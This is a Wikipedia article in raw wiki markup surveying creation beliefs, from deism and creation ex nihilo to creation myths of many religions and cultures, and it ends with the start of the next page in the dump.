[[Deism]] was a popular belief of many scientists and philosophers of the post-enlightenment, including [[Newton]], [[Gottfried Leibniz|Leibnitz]], and [[Thomas Jefferson]] that kept the formality of a creator, but allowed creation to function solely based on [[natural laws]] that were established at the time of creation. In this formulation, every interaction was completely deterministic. 

The [[Many worlds]] interpretation of [[quantum mechanics]] and the idea of [[parallel universes]] are ways of resolving questions of [[causality]] and determinism in the framework of [[probability|probabilistic interactions]]. In this speculative interpretation, the universe that we inhabit is one of many possible universes that all simultaneously exist, but are independent of each other, and each universe bifurcates with every quantum mechanical &quot;observation&quot;.

==Creation ''ex nihilo''==
Creation ''[[ex nihilo]]'' ([[Latin]]: out of nothing) is at odds with our everyday experiences, in that nothing spontaneously comes into (or vanishes from) existence but instead [[matter]] and [[energy]] merely change forms.  However, [[quantum mechanics]] allows for energy to be spontaneously created from the [[vacuum]] as long as the [[Heisenberg Uncertainty Principle]] is not violated (usually, by the spontaneous annihilation of the created particles, e.g. the [[Lamb shift]]). This may give a means by which creation ''ex nihilo'' can be achieved, but nevertheless we are not currently able to explain creation ''ex nihilo'', nor even to prove that it is required.  [[Julian Barbour]] suggests that reality simply terminates on nothing at the alpha point, as a brute fact, in the same way that England abuts the sea at Land's End without requiring an explanation.

An explanation advanced by some theists is that God created the Universe out of nothing; some [[creationist|creationists]] hold also that life was created in something like its present state of variety, so that organisms were fully speciated from the beginning.  While there are various attempts to square these ideas with available evidence and currently accepted theory, their explanatory utility, predictive power, and scientific standing are questioned by critics of [[creationism]].  Many scientists in the relevant fields, theist and otherwise, do not regard notions like divine power or divine will as playing genuine scientific roles in cosmology or biology.

The scientifically prevalent view is that life originated on Earth, although other views hold that organic compounds from comets may have been an important source of material for the appearance of life. The [[Miller-Urey experiment]] showed that [[amino acid]]s could arise from a type of primitive environment. Nevertheless, while scientific research on [[abiogenesis]] is ongoing, there is no consensus on how life began.

==Religious creation beliefs==
{{limitedgeographicscope}}
&lt;!--
Generalize to cover other traditions.
The introductory text below is limited to the J/C/I tradition.
--&gt;
Several [[religion]]s have creation stories, some of which  account for the existence and present form of the [[Universe]] by the act of creation by a [[supreme being]] or the [[Creator God]].  Most of these accounts depict one or several gods fashioning things out of themselves, or from pre-existing material (for example [[chaos]] or [[prakriti]]).

The scholastic traditions of [[Judaism]], [[Christianity]], and [[Islam]] for the most part speak of creation ''ex nihilo''. This is typified, for example, by the assumption that the first verse of the Christian [[Bible]] (&quot;In the beginning, God created the heavens and the earth&quot;) indicates the only self-existent entity is God with all other things deriving from God. [[2 Maccabees|2 Maccabees 7:28]] indicates that this philosophy may have been a common Jewish understanding of creation: &quot;I beseech thee, my son, look upon the heaven and the earth, and all that is therein, and consider that God made them of things that were not ...&quot;.  Similar to this is the language found in the [[Book of Hebrews]], which states, &quot;Through faith we understand that the worlds were framed by the word of God, so that things which are seen were not made of things which do appear&quot;. Some (notably [[Augustine of Hippo]]) also hold that [[God]] is altogether [[eternity|outside of time]] and that time exists only within the created universe.

However, in these traditions, the belief that God gave shape to pre-existing things was not unheard of, and that idea became more fully articulated especially under the influence of Greek philosophy.  In both Judaism and Christianity, belief in creation &quot;from nothing&quot; began to dominate the traditions sometime in the second century C.E., in part as a reaction against classical philosophy.  The following story from the Talmud illustrates this:

:A philosopher said to R. Gamiliel: Your God was a great craftsman, but he found himself good materials which assisted him: Tohu wa-Bohu, and darkness, and wind, and water, and the primeval deep. Said R. Gamiliel to him: May the wind be blown out of that man! Each material is referred to as created. Tohu wa-Bohu: &quot;I make peace and create evil&quot;; darkness: &quot;I form the light and create darkness&quot;; water: &quot;Praise him, ye heaven of heavens, and ye waters&quot; -- why? -- &quot;For he commanded, and they were created&quot;; wind: &quot;For, lo, He that formeth the mountains, and created the wind&quot;; the primeval deep: &quot;When there were no depths, I was brought forth&quot;.  ''BR 1.9, Th-Alb:8''

Departing from this tradition, some modern scholars have argued that these statements and all others are still susceptible to ambiguous interpretation, so that creation ''ex nihilo'' may not be clearly supported by ancient texts, including the Bible.  They point out the similarities of the biblical account, to other ancient religious beliefs that the universe was created by [[God]] or the gods out of pre-existing matter, as opposed to &quot;out of nothing&quot;. Some scholars see evidence that the biblical account, like other ancient religious views, presumes pre-existence of some kind of raw material, albeit without form: &quot;Now the earth was formless and void, darkness was over the face of the deep, and the spirit of God hovered over the waters.&quot; God then fashions the disordered material, to create the world.

[[Joseph Campbell]] wrote extensively on the subject and considered creative mythology a means to reconcile the waking consciousness to the ''mysterium tremendum et fascinans'' of this universe ''as it is''. In his book ''The Masks of God: Creative Mythology'' he explains that the retelling of the creation myth would render an interpretive total image of creation to be  known to contemporary culture. Renewing the act of the experience of creation the existence of adventure is renewed, “at once shattering and reintergrating the fixed already known, in the sacrificial creative fire of the becoming thing that is no thing at all but life, not as it ''will be'' or as it ''should be'', as it ''was'' or as it ''never will be'', but as it ''is'', in depth, in process, ''here and now'', inside and out.”

==Limits to the ontology of creation==
While many scenarios are proposed by religion and science to identify 'first cause' and the origin of creation ([[ontology]]), there are some fundamental limits to the knowledge of humankind that present a barrier to finding any definitive answer.

[[Post-modern]] philosophy currently holds that there is nothing that one can know for certain.  [[Immanuel Kant]]'s philosophy can be seen as a forerunner of this idea — that because we view the universe through the lens of the mind, which is 'shaped' by space, time, and the things embedded in space and time, it is not possible to see things-in-themselves ([[noumena]]) - the real objects that lie behind the subjective objects ([[phenomenon|phenomena]]) we recognise.  If true, it is beyond the mind of humankind to perceive a condition that has no space or time.  Many other philosophers, most recently [[Karl Popper|Popper]] have all shown that there is precious little one can be sure of that would provide a starting point to determine the 'first cause' that led to creation.

Modern [[physics]] is an [[natural science|empirical science]] based on [[experiment]] and [[observation]] that characterizes how things happen through [[scientific theories]] and [[physical laws]], but ultimately does not answer the question of 'why' things happen at the foundational (ontological) level.  For example, the existence of the [[Big Bang]] is not predicated on a reason for its occurrence. What's more, the modern physics breaks down at the [[Planck time]]/[[Planck length]], where both the influences of [[quantum mechanics]] and [[gravity]] are required to be combined in order to characterize the interactions that occur.  As such, there is no [[theory of everything|model]] available that has been tested at this level, and so any attempt to theoretically probe beyond this regime in search of a more fundamental appreciation of the nature of the universe is hampered.

Religion has philosophy and oral testimony available to it to demonstrate a God or a separate &quot;first cause&quot; that called the universe into existence.  As such it is dependent on faith in God or the specific &quot;first cause&quot; to which it ascribes.

==Creation within various belief systems==
Some creation beliefs are part of a named system of beliefs and are labeled as such below. Some creation beliefs seem to be better characterized according to time and/or place as they are part of a human culture in a time/place.

===Babylonian===  
The Babylonian creation myth is described in [[Enûma Elish]]. It existed in various versions and copies, the oldest dating to at least 1700 B.C.E.

In the poem,  the god [[Marduk]] arms himself and sets out to challenge the monster [[Tiamat]].  Marduk destroys Tiamat,  cutting her into two halves which become the Earth and the sky.  Later on,  he also destroys Tiamat's husband,  [[Kingu]],  and uses his blood to create mankind. (Reference: A. Leo Oppenheim, ''Ancient Mesopotamia''.)

===Buddhist===
Buddhism generally ignores the question regarding the origin of life. The [[Buddha]] regarding the origin of life has said &quot;Conjecture about [the origin, etc., of] the world is an unconjecturable that is not to be conjectured about, that would bring madness &amp; vexation to anyone who conjectured about it.&quot; [http://www.accesstoinsight.org/canon/sutta/anguttara/an04-077.html AN IV.77], and in regard to ignoring the question of the origin of life the Buddha has said &quot;And why are they undeclared by me? Because they are not connected with the goal, are not fundamental to the holy life. They do not lead to [[disenchantment]], [[dispassion]], [[cessation]], calming, direct knowledge, self-awakening, Unbinding. That's why they are undeclared by me.&quot; [http://www.accesstoinsight.org/canon/sutta/majjhima/mn-063-tb0.html MN 63].

===Chinese===
There are five major views of creation in China:

* The first, and most consistent historically, is that no myth exists. This is not to say there were none existing at all, only that there is no evidence showing an attempt to explain the world's origin. 

* The second view is very indirect. It is merely based on a question of a dialog in an earlier reference. The idea in the question implies that the heavens and the earth separated from one another.

* The third view is the one perpetuated by Taoism by the nature of its philosophy. It appears &quot;relatively&quot; late in Chinese history. In it, [[taoism|Tao]] is described as the ultimate force behind the creation. With tao, nothingness gave rise to existence, existence gave rise to [[yin and yang]], and yin and yang gave rise to everything. Due to the ambiguous nature of this myth, it could be compatible with the first myth (and therefore say nothing). But it could, like its antithesis, be explained in a way to better fit the modern scientific view of the creation of universe.

* The fourth view is the relatively late myth of [[Pangu]]. This was an explanation offered by [[Taoist]] [[monk]]s hundreds of years after [[Laozi]]; probably around [[200 CE]]. In this story, the universe begins as a [[world egg|cosmic egg]].  A god named [[Pangu]], born inside the egg, broke it into two halves: The upper half became the sky, the lower half became the earth. As the god grew taller, the sky and the earth grew thicker and were separated further. Finally the god died and his body parts became different parts of the earth.

* The fifth view would be tribal accounts that vary widely and not necessarily connect to a system of belief.

===Christian===
{{main articles|[[Creation (theology)]], [[Creation according to Genesis]], and [[Creationism]]}}

According to the book of Genesis, God eternally pre-existed the created order. As Genesis' first recorded act in reference to the world we know today, &quot;God created&quot; (Gen. 1:1). All the created order, from the luminaries of the sky to the fish of the sea, to the mingling of dust and divine breath that is humankind (Heb. ''adam'', covering both male and female humankind), were created by God to embrace and enjoy the optimal living environment that is earth. Man and woman were made to reflect God's authority, love and good government into the world as stewards, and to offer up the praises of creation back to God.

Unique in all the created order, humanity, male and female, are the sole bearers of the ''imago Dei'', the image (Heb. ''tselem'' - as in ''a child in the image of a parent'') of God among animate and inanimate creation. As image-bearers, human beings have a mandate to walk in community with God, community and care for one another, and as caretakers of this good world. Resisting the invitation to the &quot;We&quot; of community with God and one another, human beings chose to live in the &quot;I&quot; of individualism and self-actualization. 

At this point in the Genesis origins narrative, human beings became, as Francis Shaeffer put it, &quot;indisputably bent.&quot; This self-made isolation moves the human soul toward self-preservation and self-absorption. This &quot;falling into shadow,&quot; has unleashed destructive patterns within and without the human race, and the need for a redemptive ''adam'' to choose to live a human life in community with God, thereby reversing the effects of the fall, was exposed. 

In Christian belief, Jesus, the Christ of God, was the new ''adam'' sent to us &quot;at the fullness of time.&quot; Humanity's search to return to the Eden of our origin will culminate in a new and amplified Eden in the age to come, manifest in a new heaven and a new earth.

'''On First Cause'''

References to God in the [[New Testament]] vary, however, overall they demonstrate an incorporation of the first cause.  It should be noted, however, that the Chrisitian conception of God, the holy [[trinity]], is more complex. The following examples illustrate this:

''Revelation 1:8 - I am the Alpha and the Omega, the beginning and the end... that which is, which has been, and that which is yet to come, Almighty God''.

''John 1:1-4 - In the beginning was the Word, and the Word was with God, and the Word was God. The same was in the beginning with God. All things were made by him; and without him was not any thing made that was made. In him was life; and the life was the light of men''.

===The Church of Jesus Christ of Latter-day Saints===
Followers of The Church of Jesus Christ of Latter Day Saints believe that physical reality (space, matter and/or energy) is [[eternal]], and therefore does not have an absolute origin.  The Creator is an architect and organizer of pre-mortal matter and energy, who constructed the present universe out of the raw material.

===Creek===
The Creek believe that the world was originally entirely underwater.  The only land was a hill, called [[Nunne Chaha]], and on the hill was a house, wherein lived [[Esaugetuh Emissee]] (&quot;master of breath&quot;).  He created humanity from the clay on the hill.

===Egyptian===

There were at least three separate [[cosmogeny|cosmogenies]] in [[Egyptian mythology]], corresponding to at least three separate groups of worshippers.
*The [[Ennead]], in which [[Atum]] arose from the primordial waters ([[Neith]]), and [[masturbation|masturbated]] to relieve his loneliness. His [[semen]] and [[breath]] became [[Tefnut]] ([[moisture]]) and [[Shu]] ([[dryness]]), respectively. From Shu and Tefnut, were born [[Geb]] ([[earth]]), and [[Nuit]] ([[sky]]), who were born in a state of permanent copulation. Shu separated them, and their children were Ausare ([[Osiris]]; [[death]]), [[Set (god)|Set]] ([[desert]]), Aset ([[Isis]]; [[life]]), and Nebet Het ([[Nephthys]]; [[fertility|fertile]] [[landform|land]]). Osiris and Isis were a couple, as were Nepthys and Set.
*The [[Ogdoad]], in which [[Ra]] arose, either in an [[egg (biology)|egg]], or a [[blue lotus]], as a result of the creative interaction between the primordial forces of [[Naunet|Nu/Naunet]] ([[water]]), [[Amun]]/[[Amunet]] ([[Air (classical element)|air]]), [[Kuk|Kuk/Kauket]] ([[dark]]ness), and [[Huh (god)|Huh/Hauhet]] ([[eternity]]). Ra then created [[Hathor]], his wife, with whom they had a son, Hor ([[Horus]]; in the form known as ''Horus the Elder''), who was married to Isis. This cosmogeny also includes Anupu ([[Anubis]]) as lord of the dead, amongst others.
*The third group, for whom [[Ptah]] was eternal and everlasting, and he [[speach|spake]] the world and all the gods into existence, in a similar manner to [[Judaism|Judao]]-[[Christianity|Christian]] belief about their concept of [[Yahweh|God]].

Over time, the rival groups gradually merged, Ra and Atum were identified as the same god, making Atum's mysterious creation actually due to the Ogdoad, and Ra having the children Shu and Tefnut, etc. In consequence, Anubis was identified as a son of Osiris, as was Horus. Amun's role was later thought much greater, and for a time, he became chief god, although he eventually became considered a manifestation of Ra. 

For a time, Ra and Horus were identified as one another, and when the [[Aten]] [[monotheism]] was unsuccessfully introduced, it was Ra-Horus who was thought of as the Aten, and the consequent cosmogony this inspired. Later, Osiris' cult became more popular, and he became the main god, being identified as a form of Ptah. Eventually, all the gods were thought of as aspects of Osiris, Isis, Horus, or Set (who was by now a villain), indeed, Horus and Osiris had started to become thought of as the same god. [[Ptah]] eventually was identified as [[Osiris]].

===Classical Greek===
[[Plato]], in his dialogue [[Timaeus (dialogue)|Timaeus]], describes a creation myth involving a being called the [[demiurge]].

[[Hesiod]], in his [[Theogony]], says that [[Chaos (mythology)|Chaos]] existed in the beginning, and then gave birth to [[Gaia (mythology)|Gaia]] (the Earth), [[Tartarus]] (the Underworld), [[Eros (god)|Eros]] (desire), [[Nyx]] (the darkness of the night) and [[Erebus]] (the darkness of the Underworld).  Gaia brought forth [[Uranus (mythology)|Ouranos]], the starry sky, her equal, to cover her, the hills, and the fruitless deep of the Sea, [[Pontus (mythology)|Pontus]], &quot;without sweet union of love,&quot; out of her own self. But afterwards, Hesiod tells, she lay with Heaven and bore the World-Ocean [[Oceanus]], [[Coeus]] and [[Crius]] and the [[Titan (mythology)|Titan]]s [[Hyperion (mythology)|Hyperion]] and [[Iapetus (mythology)|Iapetus]], [[Theia]] and [[Rhea (mythology)|Rhea]], [[Themis]] and [[Mnemosyne]] and [[Phoebe (mythology)|Phoebe]] of the golden crown and lovely [[Tethys (mythology)|Tethys]]. &quot;After them was born [[Cronos]] the wily, youngest and most terrible of her children, and he hated his lusty sire.&quot;  Cronos, at Gaia's urging, castrates Ouranos.  He marries [[Rhea (mythology)|Rhea]] who bears him [[Hestia]], [[Demeter]], [[Hera]], [[Hades]], [[Poseidon]], and [[Zeus]].  Zeus and his brothers overthrow Cronos and the other Titans, then draw lots to determine what each of them will rule.  Zeus draws heaven, Poseidon draws sea, and Hades draws earth.

===Hindu===
:''The Mahaa-[[Vishnu]], into whom all the innumerable [[universe]]s enter and from whom they come forth again simply by His breathing process, is a plenary expansion of [[Krishna]]. Therefore I worship [[Govinda]], Krishna, the cause of all causes.'' (Brahma-samhitaa 5.48)

In [[Hinduism|Hindu]] philosophy, the existence of the universe is governed by the [[Trimurti]] of [[Brahma (god)|Brahma]] (the Creator), [[Vishnu]] (the Sustainer) and  [[Shiva]] (the Destroyer). The sequence of [[Avatar]]s of Vishnu- the [[Dasavatara]] ([[Sanskrit]]: Dasa&amp;mdash;ten, Avatara&amp;mdash;incarnation) is generally accepted by most Hindus today as correlating well with Darwin's theory of evolution, the first Avatar generating from the environment of water. 

Hindus thus do not see much conflict between creation and evolution. An additional reason for this could also be the Hindu concept of cyclic time, such as [[Ancient Vedic weights and measures#Yugas|yugas]], or days of Brahma in approximately 4.3 billion year cycles (unlike the concept of [[linear time]] in many other religions). In fact, time is represented as ''Kaala Chakra'' &amp;mdash; the Wheel of Time. 

In Hinduism, nature and all of God's creations are manifestations of Him. He is within and without his creations, pervading the entire universe and also observing it externally. Hence all animals and humans have a divine element in them that is covered by the ignorance and illusions of material or profane existence.

===[[Hopi]]===
The [[Elders]] say that the first [[Hopi]] had chosen to live in the barren desert so that they would always need to pray for rain.  Thus, they would not lose faith in their ceremonies, which maintain their bond with the [[Mother Nature]] and [[Creator]]. They said that the True Hopi people represent the Red race through the authority vested in them by the [[Creator]], [[Maasaw]].

===Hmong===
According to [[Hmong]] tradition, a long time ago the rivers and ocean covered the Earth. A brother and sister were locked in a yellow wooden drum. The Sky People looked out and saw the Earth. Everything was dead. Only a yellow wooden drum was left on the water.

&quot;Punch holes in the Earth so the water will drain away,&quot; said the King above the Sky.

The water went down. Finally, the drum bumped against the ground. The brother and sister came out of the drum and looked around. Everything was dead.

&quot;Where are the people?&quot; asked the sister.

But the brother had an idea. &quot;All the people on Earth are gone. Marry me, we can have children.&quot;

&quot;I can't marry you, we are brother and sister.&quot;

But he asked her again and again and she said, &quot;No.&quot;

Finally the brother said, &quot;Let's carry the grindstones up the hill and roll them into the valley. If the stones land on top of each other, then you shall marry me.&quot;

The sister rolled her stone and then, as soon as the brother rolled his stone he ran as fast as he could down the hill and stacked the stones on top of each other.

When the sister saw the stones she cried. Finally she said, &quot;I will marry you, because it was meant to be.&quot;

A year later the wife gave birth to a baby, but the baby was not a real baby. It had no arms or legs. It was just round like a pumpkin. The husband cut it up and threw the pieces away. One piece fell on the garden and it became the &quot;Vang&quot; clan because &quot;Vang&quot; sounds like the word for &quot;garden&quot; in Hmong. One piece fell on the goat house. Some pieces fell on the leaves and grass and they became the other [[Hmong clans]]. The Nhia, Mhoua, Pao, Ho, Xiong, Vue, and so on.

The next morning the village was full of houses. Everyone came to the husband and wife and said, &quot;Mother and father, come have breakfast with us.&quot;

The husband said to his wife, &quot;I asked you to marry me because all the people on Earth were dead. Now these people are our family -- our sons and daughters.&quot;

===Inca===
[[Image:Manco-copac-small.png|thumb|200 px|right|Hand drawn image of [[Manco Capac]], founder of the Incan empire and, according to Incan custom, created along with the world.]]

The [[Inca]]n account of creation is known based on what was recorded by priests, from the iconography on Incan pottery and architecture, and the myths and legends which survived amongst the native peoples. According to these accounts, in the most ancient of times the earth was covered in darkness. Then, out of a lake called Collasuyu (modern [[Titicaca]]), the god [[Viracocha|Con Tiqui Viracocha]] emerged, bringing some human beings with him. Then Con Tiqui created the sun ([[Inti]]), the moon and the stars to light the world. It is from Inti that the [[Sapa Inca]], emperor of [[Tawantinsuyu]], is descended. Out of great rocks Con Tiqui fashioned more human beings, including women who were already pregnant. Then he sent these people off into every corner of the world. He kept a male and female with him at [[Cuzco]], the &quot;navel of the world.&quot; 

Con, the Creator; was in the form of a man without bones. He filled the earth with good things to supply the needs of the first humans. The people, however, forgot Con's goodness to them and rebelled. So he punished them by stopping the rainfall. The miserable people were forced to work hard, drawing what little water they could find from stinking, drying riverbeds. Then a new god, [[Pachacamac]], came and drove Con out, changing his people into monkeys. Pachachamac then took earth and made the ancestors of human beings.. 

The founder of the first dynasty of the [[kingdom of Cuzco]] was [[Manco Capac]]. In one legend he was brought up from the depths of [[Lake Titicaca]] by the sun god [[Inti]]. In another he was the son of [[Viracocha|Tici Viracocha]]. However commoners were not allowed to speak the name of Viracocha, which is possibly an explanation for the need for two foundation legends.

In one myth [[Manco Capac]] was the brother of [[Pachacamac]], both were sons of the sun god [[Inti]] who is also known as [[Apu Punchau]].  Manco Capac himself was worshiped as a fire and sun god. According to the Inti legend, Manco Capac and his siblings were sent up to the earth by the sun god and emerged from the cave of [[Pacaritambo]] carrying a golden staff, called ‘[[tapac-yauri]]’. They were instructed to create a Temple of the Sun in the spot where the staff sank into the earth, they traveled to Cusco via underground caves, and built a temple in honor of the sun god Inti, their father. During the journey to Cuzco, one of Manco’s brothers, and possibly one of his sisters, were turned to stone (''[[huaca]]'').  In another version of this legend, instead of emerging from a cave in Cuzco, the siblings instead emerged from the waters of [[Lake Titicaca]].

In the Tici Virachocha legend, Manco Capac was the son of [[Viracocha|Tici Viracocha]] of [[Pacari-Tampu]] (today [[Pacaritambo]], 25 km south of Cuzco).  He and his brothers (''[[Ayar Anca]]'', ''[[Ayar Cachi]]'' and ''[[Ayar Uchu]]'') and sisters ([[Mama Ocllo]], ''[[Mama Huaco]]'', ''[[Mama Raua]]'' and ''[[Mama Cura]]'') lived near [[Cuzco]] at Paccari-Tampu, and united their people and ten [[ayllu]] they encountered in their travels to conquer the tribes of the Cuzco Valley.  This legend also incorporates the golden staff, which is thought to have been given to Manco Capac by his father. Accounts vary, but according to some versions of the legend, the young Manco jealously betrayed his older brothers, killed them, and became the sole ruler of Cuzco.

===Islam===
[[Image:Islam.png|thumb|right|150 px|The calligraphic representation of the name of [[Allah]], identified as the one true creator [[God]] in [[Islam]] and the other [[Abrahamic religion|Abrahamic]] faiths.]]

&lt;!--
Should [[Creation according to Genesis]] and [[creationism]] link as a &quot;Main article:&quot; reference here, as for Christianity and Judaism (above)?
--&gt;
In Islam all creation is attributed to [[Allah]] (the [[proper name]] for [[God]] in [[Arabic language|Arabic]]), the one and only God for [[Muslim]]s. He is clearly identified as the &quot;first cause&quot; at numerous places in the [[Qur'an]]. Three instances follow:

''(13:16)  … Say: Allah is the Creator of all things, and He is the One, the Supreme''

''(57:3) … He is the First and the Last and the Manifest and the Hidden, and He is Knower of all things''

''(112:1) … Say: He, Allah, is One''

''(112:2) … Allah is He on Whom all depend''

Referring to the first cause argument the [[Qur'an]] addresses the non-believers:

''(52:35) … Or were they created without a (creative) agency? Or are they the creators?''

''(52:36) … Or did they create the heavens and the earth? Nay, they are sure of nothing.''

===Japan=== 
The god [[Izanagi]] and goddess [[Izanami]] churned the ocean with a spear to make a small island of curdled salt. Two deities went down to the island, mixed there, and bore main islands, deities, and forefathers of Japan. See the [[Japanese mythology#Creation myth|creation myth section]] of the article on [[Japanese mythology]].

===Jainism===
According to Jain beliefs, the [[universe]] was never created, nor will it ever cease to exist. It is eternal but not unchangeable, because it passes through an endless series of cycles. Each of these upward or downward cycles is divided into six world ages ([[yugas]]). The present world age is the fifth age of one of these &quot;cycles&quot;, which is in a downward movement. These ages are known as &quot;Aaro&quot; as in &quot;''Pehela Aara''&quot; or First Age, &quot;''Doosra Aara''&quot; or Second Age and so on. The last one is the &quot;''Chhatha Aara''&quot; or Sixth Age. All these ages have fixed time durations of thousands of years.

When this reaches its lowest level, even Jainism itself will be lost in its entirety. Then, in the course of the next upswing, the Jain religion will be rediscovered and reintroduced by new leaders called ''Tirthankaras'' (literally &quot;Crossing Makers&quot; or &quot;Ford Finders&quot;), only to be lost again at the end of the next downswing, and so on. 

(see: [[Jainism#Universal History and Jain Cosmology|univers history section]] in the [[Jainism]] article.)

===Judaism===
{{main articles|[[Creation according to Genesis]] [[Creation (theology)]]}}

While the scriptural narrative for the creation account in Judaism is contained in the first chapters of [[Genesis]], the notion of &quot;[[Tzimtzum]]&quot;, or God's retraction to make way for space and time, is a core element to the Jewish approach to the First Cause notion, as explored by Rabbi [[Moses Maimonides]].

===Mayan===
The [[Maya civilization|Maya]] of [[Mesoamerica]] creation story is recounted in the book &quot;[[Popol Vuh]]&quot;.  In the beginning there is only sky and sea, personified as a [[trinity]] of gods called Heart-of-Sky. They decide that they want someone to praise them. They begin by saying &quot;Earth&quot;, which appears on demand from the sea. This is followed by mountains and trees, and Heart-of-Sky establish that &quot;our work is going well&quot;. Next for creation are the creatures of the forest: birds, deer, jaguars and snakes. They are told to multiply and scatter, and then to speak and &quot;pray to us&quot;. But the animals just squawk and howl. They are consequently humbled and will become servants to whoever will worship Heart-of-Sky. So Heart-of-Sky try to make some more respectful creatures from mud. But the results are not great, and they allow the new race to be washed away. They call upon their grandparents, who suggest wood as an appropriate medium. But the wooden people are just mindless robots, so Heart-of Sky set about the destruction of this new race by means of a rain-storm. This causes the animals to turn against the wooden people; even their pots and querns rebel, and crush the peoples' faces. The wooden people escape to the forests and are turned into monkeys. Heart-of-Sky then make yet another attempt at creating a suitably respectful race, and finally succeed by fashioning humans out of maize-corn dough.

===Māori===
The [[Māori]] [[Maori creation story|creation myth]] tells how heaven and earth were once joined as Ranginui, the Sky Father, and Papatuanuku, the Earth Mother, lay together in a tight embrace. They had many children who lived in the darkness between them. The children wished to live in the light and so separated their unwilling parents. Ranginui and Papatuanuku continue to grieve for each other to this day. Rangi's tears fall as rain towards Papatuanuku to show how much he loves her. When mist rises from the forests, these are Papa's sighs as the warmth of her body yearns for him and continues to nurture mankind.

===Navajo===
Holy Supreme Wind being created by the mists of lights arose through the darkness to animate and bring purpose to the myriad Holy People, supernatural and sacred in the different three lower worlds  All these things were spiritually created in the time before the earth existed and the physical aspect of man did not exist yet, but the spiritual did. In the first world the insect people started fighting with one another and were instructed to by the Holy People to depart.  They journey to the second world and lived for a time in peace.  Eventually they fought with each other and were instructed to depart.  They journeyed to the third world and suceeded in not fighting with one another and their bodies were transformed from the insect forms to human forms.  First man and First woman physically appear in the narrative here by being formed from ears of white and yellow corn, but they were also created back in the begining.  There is a separation of male and female humans because each did not appreaciate the contributions of the other, and this laid the ground work for the appearance of the Monsters that would start to kill of the people in the next world.  Coyote also appears and steals the baby of water monster, who brings a great flood in the third world which primarily forces the humans as well as Holy People to journey to the surface of the fouth world through a hollow reed.  Some things are left behind and some things are brought to help the people re-created the world each time they entered a new one. Death and the Monsters are born into this world as is Changing Woman who gives birth to the Hero Twins, called &quot;Monster Slayer&quot; and &quot;Child of the Waters&quot; who had many adventures in which they helped to rid the world of much evil. Earth Surface People, mortals, were created in the fourth world, and the gods gave them ceremonies, which are still practiced today.

===Norse===  
[[Odin]] and his brothers used [[Ymir]]'s body to create the universe. This universe comprises of nine worlds. They placed the body over the void called [[Ginnungagap]]. They used his flesh for creating the earth and his blood for the sea. His skull, held up by four [[dwarves]] (Nordri ''North'', Sudri ''South'', Austri ''East'', and Vestri ''West''), was used to create the heaven. Then using sparks from [[Muspelheim]], the gods created the sun, moon and stars. While [[Ymir]]'s eyebrows were used to create a place where the human race could live in; a place called [[Midgard]]. The first humans, [[Ask and Embla]], were created from logs. [http://www.timelessmyths.com/]

===Polynesian===
{{sectstub}}

(see [[Polynesian mythology]])

====Hawaiian====
See [[Maui (mythology)]] and [[Kumulipo]].

===Randomness===
Some philosophers like [[Hakim Bey]] and [[occult|occultists]] like [[Peter Carroll]] think [[randomness]], [[chaos]] or the [[Uncertainty principle]] is the prime mover according to science, and should accordingly be treated as divine.

===Surat Shabda Yoga===
Surat Shabda Yoga [[cosmology#Esoteric cosmology|cosmology]] depicts the whole of creation (the [[macrocosm]]) as being [[Emanationism|emanated]] and arranged in a spiritually differentiated hierarchy, often referred to as eggs, regions, or [[Plane (cosmology)|planes]].  Typically, eight spiritual levels are described above the physical plane, although names and subdivisions within these levels will vary to some extent by mission and Master.  (One version of the creation from a Surat Shabda Yoga perspective is depicted at the Sant Ajaib Singh Ji Memorial Site in [http://www.santji.allegre.ca/planes-640.jpg “The Grand Scheme of All Creation”].) All planes below the purely spiritual regions are subject to cycles of creation and dissolution (pralya) or grand dissolution (maha pralya).

The constitution of the individual (the [[microcosm]]) is an exact replica of the macrocosm.  Consequently, the microcosm consists of a number of [[Subtle body|bodies]], each one suited to interact with its corresponding plane or region in the macrocosm.  These bodies developed over the [[yuga|yugas]] through [[Involution (philosophy)|involution]] ([[Emanationism|emanating]] from higher planes to lower planes) and [[spiritual evolution|evolution]] (returning from lower planes to higher planes), including by [[karma]] and [[reincarnation]] in various [[altered state of consciousness|states]] of [[consciousness]].

===Taoism===
[[Tao]] is the namelss void, the mother of the Ten Thousand Things.  Tao is considered by Laozi to be that which eternally gives without being depleted, and eternally receives without being filled.
That which does not exist for its own sake is able to endure.

===[[Zen]]===
[[Everything]] and [[nothing]] are all interconnected, inseparable, a whole. Zen denies that the [[person]] is the [[first cause]]. If it speaks of origins at all, it says that the [[ground of being]] is the real [[first cause]].

===Zoroastrianism===
The [[Zoroastrianism|Zoroastrian]] story of creation has [[Ahura Mazda]] creating 16 lands, one by one, such that each would be delightful to its people.  As he finished each one, [[Angra Mainyu]] applied a counter-creation, introducing plague and sin of various kinds. The dualistic idea of two primordial spirits, called twins by Zoroaster, goes back to an Indo-European prototype.

==See also==
{{col-begin}}
{{col-2}}
* [[Abrahamic religions]]
* [[Biblical cosmology]]
* [[Cosmogony]]
* [[Cosmological argument]]
* [[Cosmology]] (disambiguation)
* [[Creation evolution controversy]]
* [[:Category:Creationism]]
* [[Creationism]]
* [[Creation (theology)]]
* [[Creator god]]
* [[Dating Creation]]
* [[Day-Age Creationism]]
{{col-2}}
* [[Deism]]
* [[Evolution]]
* [[Existence]]
* [[Gap Creationism]]
* [[Intelligent design]]
* [[Natural theology]]
* [[Old Earth creationism]]
* [[Theism]]
* [[Theistic evolution]]
* [[Timeline of the Big Bang]]
* [[Ultimate fate of the Universe]]
* [[Young Earth creationism]]
{{col-end}}

==References==
* Leeming, David Adams, and Margaret Adams Leeming, ''A Dictionary of Creation Myths''. Oxford University Press (1995), ISBN 0195102754.

==External links==

* [http://www.themage.net/India/Indian%20Cosmology.htm Indian cosmology]
*[http://www.wsu.edu:8080/~wldciv/world_civ_reader/world_civ_reader_1/kojiki.html Japanese Creation Myth]
* [http://www.pitt.edu/~dash/creation.html Norse Creation Myth]
* [http://www.wsu.edu/~delahoyd/creation.populvuh.html Popul Vuh]
* [http://www.jcf.org/works.php?id=187 &quot;Masks of God: Creative Mythology&quot; by Joseph Campbell]
* [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-68 ''Dictionary of the history of Ideas'': Creation in Religion]
* [http://www.creationofuniverse.com The Qur'an and Earth], an Islamic perspective of creation.

{{origin_of_life}}

{{Philosophy navigation}}

[[Category:Spiritual evolution]]
[[Category:Mythology]]
[[Category:Creationism]]
[[Category:Mythemes]]

[[cs:Stvoření]]
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[[sv:Skapelseberättelse]]</text>
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  </page>
  <page>
    <title>Crucifix</title>
    <id>7324</id>
    <revision>
      <id>41206795</id>
      <timestamp>2006-02-25T20:03:09Z</timestamp>
